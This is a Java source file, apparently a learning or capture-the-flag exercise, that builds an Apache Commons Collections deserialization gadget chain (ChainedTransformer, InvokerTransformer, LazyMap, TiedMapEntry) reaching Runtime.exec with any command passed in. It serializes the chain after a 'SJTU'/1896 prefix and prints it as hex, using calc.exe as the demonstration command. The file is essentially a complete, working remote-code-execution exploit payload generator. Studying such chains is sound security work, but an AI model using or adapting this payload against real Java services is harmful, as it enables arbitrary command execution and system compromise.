1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.util.HashMap; import java.util.Map; import java.lang.*; import java.lang.Runtime;
import java.lang.annotation.*; import java.lang.reflect.*; import java.io.Serializable; import java.util.*; import java.security.AccessController; import java.security.PrivilegedAction;
public class testforlearn { public static Object get(String cmd) throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap(); Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"a");
HashMap<Object,Object> map2 = new HashMap(); map2.put(tiedMapEntry,"aa");
lazyMap.remove("a");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; }
public static String bytesTohexString(byte[] bytes) { if (bytes == null) { return null; } else { StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4; ret.append("0123456789abcdef".charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef".charAt(b)); }
return ret.toString(); } }
public static void main(String[] args) throws Exception{ ByteArrayOutputStream bar = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bar); oos.writeUTF("SJTU"); oos.writeInt(1896); oos.writeObject(get("calc.exe")); oos.close(); System.out.println(bytesTohexString(bar.toByteArray())); } }
|